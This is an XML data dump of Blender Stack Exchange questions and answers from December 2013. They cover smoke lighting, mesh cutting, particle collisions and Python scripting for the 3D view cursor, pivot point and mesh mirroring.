  <row Id="5341" PostTypeId="2" ParentId="5339" CreationDate="2013-12-07T00:21:25.510" Score="8" Body="&lt;p&gt;A general answer to this is because there are &lt;em&gt;either&lt;/em&gt; no lights in your scene or you haven't computed the smoke simulation yet. To add a lamp to your scene, use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Lamp&lt;/em&gt; and choose one. To simulate the smoke, you can just hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; or bake it to disk under &lt;em&gt;Smoke Cache&lt;/em&gt; in the &lt;em&gt;Physics&lt;/em&gt; panel (you must save the file first).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the default &lt;em&gt;Point&lt;/em&gt; lamp is a bit weak and might not illuminate the smoke properly depending on the angle viewed. A &lt;em&gt;Hemi&lt;/em&gt; or &lt;em&gt;Sun&lt;/em&gt; lamp should be sufficient for most tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without any light&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QGuvp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a hemi lamp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z38jI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-07T00:40:30.220" LastActivityDate="2013-12-07T00:40:30.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5342" PostTypeId="2" ParentId="5339" CreationDate="2013-12-07T00:22:32.637" Score="3" Body="&lt;p&gt;This is because before render, you must launch animation (hit &lt;kbd&gt;ALT&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt;) in order to compute smoke simulation. When you play the animation, you'll see the smoke throwing up the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, be sure there is &lt;strong&gt;some lights&lt;/strong&gt; in your scene, and render!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you need to assign the Smoke Domain a material with Volume shaders when rendering with &lt;em&gt;Cycles&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="2353" LastEditDate="2016-09-02T13:06:34.187" LastActivityDate="2016-09-02T13:06:34.187" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5343" PostTypeId="1" AcceptedAnswerId="5344" CreationDate="2013-12-07T01:00:54.407" Score="6" ViewCount="13092" Body="&lt;p&gt;I am trying to build a pool on top of a plane, the pool goes below the plane, How can  I remove the part of the plane that is in the pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LHf05.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nYq0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="12" LastEditDate="2013-12-07T01:17:34.777" LastActivityDate="2013-12-07T01:49:07.777" Title="Remove part of a plane" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5344" PostTypeId="2" ParentId="5343" CreationDate="2013-12-07T01:17:17.370" Score="4" Body="&lt;p&gt;You can &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode on the plane and use the &lt;em&gt;Knife&lt;/em&gt; tool to trace the part of the plane that you want removed. Press &lt;kbd&gt;K&lt;/kbd&gt; to activate the knife tool and left click to create points, to close a shape, simply left click on the starting point. You can also use right click to cancel a cut if you make a mistake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g3JMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirm the cut with &lt;kbd&gt;Enter&lt;/kbd&gt; and there should be a hole in the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBg69.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-07T01:17:17.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5345" PostTypeId="2" ParentId="5343" CreationDate="2013-12-07T01:49:07.777" Score="4" Body="&lt;p&gt;Another way you could do it is with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow&quot;&gt;boolean modifier&lt;/a&gt;. Basically you would place the modifier onto the pool and set the floor plane as the target object. Then, set the operation to difference. And it should work! (I haven't tested it, so tell me if it works without flaws).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the advantages of using a boolean modifier instead of the knife tool is that it is dynamic. You can move the the pool around and it will cut through the floor no matter where you put it. And you could simply apply the modifier if you wanted it to be permanent. &lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-12-07T01:49:07.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5346" PostTypeId="1" AcceptedAnswerId="5347" CreationDate="2013-12-07T09:55:39.420" Score="15" ViewCount="4672" Body="&lt;p&gt;I use an external to Blender text editor (vim). I understand I can write in it and then reload file in Blender's text editor. Is there a way to run a script from external editor without this additional step?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="12" LastEditDate="2013-12-07T20:52:52.527" LastActivityDate="2019-08-20T20:40:21.303" Title="Is it possible to run a script from an external editor without reloading the file?" Tags="&lt;scripting&gt;&lt;text-editor&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5347" PostTypeId="2" ParentId="5346" CreationDate="2013-12-07T10:54:53.013" Score="14" Body="&lt;p&gt;For short or non-operator-based scripts, that's as efficient as you'll get. Currently there is no faster way than &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to reload a plain script modified in external editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For longer operator-based scripts, you can use the following initial steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert the script to an add-on, by adding proper &lt;code&gt;bl_info&lt;/code&gt; dictionary and turning your main code into operators (can be made faster by using a template).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a symbolic link of the script or its development path to Blender's alternate script path (set through &lt;em&gt;User Preferences&lt;/em&gt; &gt; &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Scripts&lt;/em&gt;). That way, it stays registered on Blender upgrade, and your development folder stays organized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your OS or filesystem doesn't support symbolic link, move the script to the alternate script path and develop from there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Register the add-on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that, the script can be updated just by pressing &lt;kbd&gt;F8&lt;/kbd&gt; &lt;strong&gt;Reload Scripts&lt;/strong&gt; in Blender. Longer preparation, faster in the long run.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-07T10:54:53.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5348" PostTypeId="1" AcceptedAnswerId="5367" CreationDate="2013-12-07T12:52:40.880" Score="5" ViewCount="2056" Body="&lt;p&gt;I need to change indexes for UVMaps. &#xA;Here the screenshot: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gov81.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried like this, according to ths page &lt;a href=&quot;https://stackoverflow.com/questions/2493920/how-to-switch-position-of-two-items-in-a-python-list&quot;&gt;https://stackoverflow.com/questions/2493920/how-to-switch-position-of-two-items-in-a-python-list&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;cubeObject = bpy.context.scene.objects[0]&#xA;cubeObject.data.uv_textures[0], cubeObject.data.uv_textures[1] = cubeObject.data.uv_textures[1], cubeObject.data.uv_textures[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I got this Exception:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;read blend: /home/mifth/Desktop/2223/uvs.blend&#xA;Traceback (most recent call last):&#xA;File &quot;/home/mifth/Desktop/2223/uvs.blend/Text&quot;, line 4, in &amp;lt;module&amp;gt;&#xA;IndexError: bpy_prop_collection[index] = value: failed assignment (unknown reason)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is very important for exporting models to game engines like Unity, Unreal, jMonkey, Ogre3D...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2016-10-12T19:57:56.337" Title="How to change UVMap index?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5350" PostTypeId="1" AcceptedAnswerId="5351" CreationDate="2013-12-07T13:14:47.037" Score="8" ViewCount="5538" Body="&lt;p&gt;I want an object to not be visible &lt;strong&gt;at all&lt;/strong&gt; in a render. I am trying to contain some particles in a simulation and I need them to not get out of the enclosure so I want a transparent object there (when I render) to prevent them from escaping.&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="12" LastEditDate="2013-12-07T16:02:24.297" LastActivityDate="2013-12-07T16:02:24.297" Title="How to make an object completely transparent?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5351" PostTypeId="2" ParentId="5350" CreationDate="2013-12-07T13:26:38.963" Score="7" Body="&lt;p&gt;The following material setup should give you a completely &lt;em&gt;Transparent&lt;/em&gt; material that cannot be affected by light etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vEJUs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add a material and set the specularity and alpha to 0 and disable shadows but the easiest way is to &lt;em&gt;not&lt;/em&gt; render the object at all. Open the &lt;em&gt;Outliner&lt;/em&gt; and untick the camera beside the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pbtb9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-07T13:26:38.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5352" PostTypeId="1" AcceptedAnswerId="5353" CreationDate="2013-12-07T14:42:00.797" Score="8" ViewCount="1509" Body="&lt;p&gt;I don’t want these particles out side of my object: &lt;img src=&quot;https://i.stack.imgur.com/QSEDs.png&quot; alt=&quot;http://snag.gy/FM1I0.jpg&quot;&gt;&#xA;&lt;a href=&quot;http://www.filedropper.com/xtruder_1&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I’ve already got two transparent planes and it will get all messy if I add others to stop the particles from getting out.&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="2217" LastEditDate="2014-12-15T17:58:26.953" LastActivityDate="2014-12-15T17:58:26.953" Title="How to prevent particles from going where I don’t want them to?" Tags="&lt;particles&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5353" PostTypeId="2" ParentId="5352" CreationDate="2013-12-07T15:52:46.527" Score="9" Body="&lt;p&gt;This is mostly because there are gaps between the cylinders and the curved meshes. Also, you should probably apply the solidify modifiers you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QsWIp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, what I would do is duplicate all the enclosing meshes and use parts of these to make one collision object to keep the particles in but a quicker way is to just use planes and block off these gaps. Planes are rather thin however and not very good collision objects, you should join these together into one object to create a boxlike enclosure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tdJkh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the planes intersect the other meshes slightly so that there are absolutely no gaps left for the particles to escape. To make ones for the cylinders as tight as possible, just duplicate the tops, separate it and scale it outwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Itwv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the time, a much better collision object would be something in the shape of your actual model(s) to make sure that the space inside is as closed as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwipd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-07T17:45:18.537" LastActivityDate="2013-12-07T17:45:18.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5354" PostTypeId="2" ParentId="5352" CreationDate="2013-12-07T15:52:57.803" Score="3" Body="&lt;p&gt;You could try to increase the &lt;code&gt;Subframes&lt;/code&gt; in the particle system's physics properties. This will increase amount of times particle collisions are calculated per frame, increasing the chance that they will collide with the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a plane is an infinitely thin wall, which is not natural. The collision detection calculations probably needs some thickness. I'd really recommend using some thickness. May you can get away with applying the &lt;code&gt;solidify&lt;/code&gt; modifier to your plane(s).&lt;/p&gt;&#xA;" OwnerUserId="1574" LastActivityDate="2013-12-07T15:52:57.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5355" PostTypeId="1" AcceptedAnswerId="5356" CreationDate="2013-12-07T16:07:42.487" Score="9" ViewCount="1522" Body="&lt;p&gt;I am trying to access a bool property in the python API to see if an option is enabled or not. The python tooltip for the option says this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.screens['Default']...show_grease_pencil&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to use that in the console or in py scripts, and it says the ellipsis(...) is invalid syntax. What am I missing? (Ignore the tooltip text. I originally thought the '...' was just hiding some of the API). I tried it with double quotes and that didn't help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7XRGg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1784" LastEditorUserId="1363" LastEditDate="2014-08-06T07:43:53.853" LastActivityDate="2014-08-06T07:43:53.853" Title="Access python data path with ... (Ellipsis)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5356" PostTypeId="2" ParentId="5355" CreationDate="2013-12-07T17:17:47.533" Score="11" Body="&lt;p&gt;It is a quirk of Blender's current UI, but actually you can deduce its location a bit, helped by Blender's &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Direct Access&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The property you're looking for is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.SpaceView3D.html#bpy.types.SpaceView3D.show_grease_pencil&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SpaceView3D.show_grease_pencil&lt;/code&gt;&lt;/a&gt;, that one is clear. Now, what class contains a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.Space.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Space&lt;/code&gt;&lt;/a&gt; (&lt;code&gt;SpaceView3D&lt;/code&gt;'s ancestor)? Scroll down to &lt;em&gt;References&lt;/em&gt; section in that class' docs. One of references there leads to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.Area.html#bpy.types.Area.spaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Area.spaces&lt;/code&gt;&lt;/a&gt;. This is easy, because one of its docs' &lt;em&gt;Reference&lt;/em&gt; leads to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.Screen.html#bpy.types.Screen.areas&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Screen.areas&lt;/code&gt;&lt;/a&gt;, and &lt;code&gt;Screen&lt;/code&gt; is the type of what's visible before the ellipsis. So the attribute's full path is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.screens['Default'].areas[X].spaces[Y].show_grease_pencil&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... where &lt;code&gt;X&lt;/code&gt; depends on the screen's subdivision, and &lt;code&gt;Y&lt;/code&gt; is 0 if the 3D View is visible in that area. You can find that out from &lt;em&gt;Console&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wSaC4.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Using &lt;code&gt;Context&lt;/code&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's easier to read 3D View space's settings through &lt;code&gt;bpy.context&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bpy.context.space_data&lt;/code&gt;, if the &lt;em&gt;3D View&lt;/em&gt; area is active (i.e. accessed through an operator executed from the &lt;em&gt;3D View&lt;/em&gt; itself).&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bpy.context.area.spaces[1]&lt;/code&gt;, if accessed through a &lt;em&gt;Console&lt;/em&gt; whose display type is directly switched from a &lt;em&gt;3D View&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bpy.context.screen.areas[X].spaces[0]&lt;/code&gt; if accessed through a &lt;em&gt;Console&lt;/em&gt; in another area, index &lt;code&gt;X&lt;/code&gt; must be searched beforehand.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The same &lt;code&gt;show_grease_pencil&lt;/code&gt; attribute is accessible through these different paths.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-07T17:17:47.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5357" PostTypeId="1" AcceptedAnswerId="5384" CreationDate="2013-12-07T19:33:17.860" Score="5" ViewCount="1956" Body="&lt;p&gt;So, it seems to be a trivial matter to use a different seed on each frame (it looks nicer in animations). I.e. type &quot;#frame&quot; into the seed value and viola! You now have a driver. In fact, if I turn on &quot;auto-run python scripts,&quot; it even updates interactively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, this appears not to work in the node editor. I have a texture that I'd like to animate (by driving the location in the mapping node), but the driver I've added doesn't get updated; neither interactively, nor even when I render. It will update each time I open Blender, but never again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything I'm missing? Or does this just not work?&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-09T00:05:25.383" Title="Is there a caveat to using drivers on node properties?" Tags="&lt;nodes&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5358" PostTypeId="1" CreationDate="2013-12-07T21:22:20.850" Score="7" ViewCount="1642" Body="&lt;p&gt;I have written an algorithm that can compute fingering of piano scores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to have a 3D animation of a pair of hands playing this score. Each finger is already assigned to a key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I use blender api for this. If it is possible at all?&lt;/p&gt;&#xA;" OwnerUserId="1786" LastEditorUserId="14" LastEditDate="2013-12-07T22:28:44.113" LastActivityDate="2013-12-11T17:28:50.537" Title="Mapping an algorithm to an animation" Tags="&lt;animation&gt;&lt;python&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5359" PostTypeId="1" AcceptedAnswerId="5360" CreationDate="2013-12-07T23:02:33.223" Score="20" ViewCount="16365" Body="&lt;p&gt;I am trying to set a cursor location and pivot point with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.SpaceView3D.pivot_point='CURSOR'&#xA;bpy.types.SpaceView3D.cursor_location = (0.0, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I see I am not doing it right. How to do it correctly?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="12" LastEditDate="2017-04-11T02:47:35.907" LastActivityDate="2020-07-31T11:49:29.403" Title="How to set cursor location, pivot_point in script?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;&lt;3d-cursor&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5360" PostTypeId="2" ParentId="5359" CreationDate="2013-12-07T23:21:09.783" Score="23" Body="&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/5356/12&quot;&gt;Adhi's answer here&lt;/a&gt; as to why this won't work the way you are doing it.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;Using &lt;code&gt;Context&lt;/code&gt;&lt;/h1&gt;&#xA;&lt;p&gt;It's easier to read 3D View space's settings through &lt;code&gt;bpy.context&lt;/code&gt;,&#xA;e.g.:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bpy.context.space_data&lt;/code&gt;, if the &lt;em&gt;3D View&lt;/em&gt; area is active (i.e. accessed through an operator executed from the &lt;em&gt;3D View&lt;/em&gt; itself).&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bpy.context.area.spaces[1]&lt;/code&gt;, if accessed through a &lt;em&gt;Console&lt;/em&gt; whose display type is directly switched from a &lt;em&gt;3D View&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;bpy.context.screen.areas[X].spaces[0]&lt;/code&gt; if accessed through a &lt;em&gt;Console&lt;/em&gt; in another area, index &lt;code&gt;X&lt;/code&gt; must be searched beforehand.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What you want to use is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.spaces[1].pivot_point='CURSOR'&#xA;bpy.context.area.spaces[1].cursor_location = (0.0, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For the cursor location, there is a shorter alternative. All 3D View's cursor location is linked to the scene's, so it can also be accessed from &lt;code&gt;bpy.context.scene&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.cursor_location = (0.0, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;V2.8+ :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.cursor.location = (0.0, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12" LastEditorUserId="86891" LastEditDate="2020-07-31T11:49:29.403" LastActivityDate="2020-07-31T11:49:29.403" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5361" PostTypeId="2" ParentId="5359" CreationDate="2013-12-08T00:26:54.543" Score="5" Body="&lt;p&gt;Here is a snippet of the code (forgive my bad python) which I ended up using after reading the &lt;a href=&quot;https://blender.stackexchange.com/a/5360/1311&quot;&gt;answer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def areas_tuple():&#xA;    res = {}                                                               &#xA;    count = 0&#xA;    for area in bpy.context.screen.areas:                                  &#xA;        res[area.type] = count                                             &#xA;        count += 1&#xA;    return res  &#xA;&#xA;areas = areas_tuple()&#xA;view3d = bpy.context.screen.areas[areas['VIEW_3D']].spaces[0]&#xA;view3d.pivot_point='CURSOR'&#xA;view3d.cursor_location = (0.0, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2013-12-08T00:26:54.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5362" PostTypeId="1" CreationDate="2013-12-08T00:37:36.883" Score="3" ViewCount="1103" Body="&lt;p&gt;I have pivot point and cursor set as in this &lt;a href=&quot;https://blender.stackexchange.com/a/5360/1311&quot;&gt;answer&lt;/a&gt;. Now I want to use it to mirror mesh of an object by running script from the text editor. Mirror works fine, but it does not use the pivot point. Does it mean I have to run the code from the 3D View, or there is a way to switch to the context, and still run it in Text Editor?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def areas_tuple():&#xA;    res = {}                                                               &#xA;    count = 0&#xA;    for area in bpy.context.screen.areas:                                  &#xA;        res[area.type] = count                                             &#xA;        count += 1&#xA;    return res  &#xA;&#xA;areas = areas_tuple()&#xA;view3d = bpy.context.screen.areas[areas['VIEW_3D']].spaces[0]&#xA;view3d.pivot_point='CURSOR'&#xA;view3d.cursor_location = (0.0, 0.0, 0.0)&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;bpy.ops.transform.mirror(&#xA;    constraint_axis=(True, False, False),&#xA;    constraint_orientation='GLOBAL',&#xA;    proportional='DISABLED')&#xA;bpy.ops.mesh.flip_normals()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2018-11-09T17:13:32.103" Title="How to use a pivot point to mirror mesh with script" Tags="&lt;scripting&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5363" PostTypeId="2" ParentId="5362" CreationDate="2013-12-08T01:22:49.793" Score="3" Body="&lt;p&gt;After reading gandalf3 comment all works!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def areas_tuple():&#xA;    res = {}      &#xA;    count = 0                                                             &#xA;    for area in bpy.context.screen.areas:&#xA;        res[area.type] = count                                            &#xA;        count += 1&#xA;    return res   &#xA;&#xA;def get_region(area):&#xA;    res = None&#xA;    for region in area.regions:&#xA;        if region.type == 'VIEW_3D':&#xA;            res = region&#xA;            break &#xA;    return region&#xA;&#xA;areas = areas_tuple()&#xA;view3d = bpy.context.screen.areas[areas['VIEW_3D']].spaces[0]&#xA;view3d.pivot_point='CURSOR'&#xA;view3d.cursor_location = (0.0, 0.0, 0.0)&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;override = {&#xA;    'window': bpy.context.window,&#xA;    'screen': bpy.context.screen,&#xA;    'area': area,&#xA;    'region': get_region(area)&#xA;    } &#xA;&#xA;bpy.ops.transform.mirror(&#xA;    override,&#xA;    constraint_axis=(True, False, False),&#xA;    constraint_orientation='GLOBAL',&#xA;    proportional='DISABLED')&#xA;bpy.ops.mesh.flip_normals()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-12-08T13:39:26.377" LastActivityDate="2013-12-08T13:39:26.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5364" PostTypeId="1" AcceptedAnswerId="5365" CreationDate="2013-12-08T01:38:21.953" Score="17" ViewCount="34617" Body="&lt;p&gt;I used shape keys to create a middle shape between other two. Can I now remove shape keys and 'apply' them as a modifier to the resulting mesh?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2021-05-04T10:21:06.060" Title="How to apply shape keys?" Tags="&lt;modeling&gt;&lt;shape-keys&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
